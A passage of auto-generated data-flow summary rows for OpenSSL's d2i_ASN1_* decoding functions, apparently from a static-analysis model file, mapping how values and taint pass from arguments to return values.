"taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, 